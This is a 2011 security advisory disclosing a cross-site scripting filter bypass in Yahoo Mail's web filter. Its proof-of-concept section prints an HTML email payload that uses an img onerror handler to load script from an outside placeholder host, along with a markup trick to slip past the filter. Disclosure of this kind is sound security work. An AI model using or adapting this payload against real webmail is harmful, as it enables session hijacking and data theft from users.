Yahoo Mail - Cross Site Scripting & Webfilter Bypass

Document Title:
===============
Yahoo Mail - Cross Site Scripting & Webfilter Bypass



Release Date:
=============
2011-06-29


Vulnerability Laboratory ID (VL-ID):
====================================
130


Product & Service Introduction:
===============================
Enjoy tons of features and fun ways to stay in touch and share. Sign up now, it\'s FREE!

    * Get messages on the go. Yahoo! alerts you of new emails and lets you read them on your mobile phone.
    * Fight online foes. Kick em to the curb with outstanding protection against spam, viruses, and phishing from Yahoo! Mail.
    * Your mail. Keep it all. Enjoy unlimited storage. Save every email you receive in Yahoo! Mail.

(Copy of the Vendor Homepage: https://login.yahoo.com/config/login_verify2?&.src=ym)


Abstract Advisory Information:
==============================
An anonymous Laboratory Researcher discovered a cross site vulnerability (pass through filter)on Yahoo Mail.


Vulnerability Disclosure Timeline:
==================================
2011-06-29:	Public or Non-Public Disclosure


Discovery Status:
=================
Published


Affected Product(s):
====================

Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
A Cross Site Scripting bypass vulnerability is detected on the yahoo webfilter of the mailboxes.
Remote attackers can bypass the webfilter and compromise sessions or data via user inter action on mailings.

Vulnerability Type: 	Cross Site Filter Bypass Vulnerability (Remote)
Vulnerable Section: 	Yahoo Web Filter


Proof of Concept (PoC):
=======================
The vulnerability can be exploited by remote attackers with high user inter action. For demonstration or reproduce ...

Send:			Hotmail HTML => Yahoo Mail Customer

<div id="view" title="<img width=0 src='#' onerror="Y=new Image();Y.src='http://www.xxx.com/website.js'"//>">
<img width=0 src='http://#' style="background:`url(http:// onerror=this.parentNode.innerHTML=this.parentNode.title;//)`"></div>


Security Risk:
==============
The security risk of the vulnerability is estimated as medium.


Credits & Authors:
==================
N/A - Anonymous


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=========================
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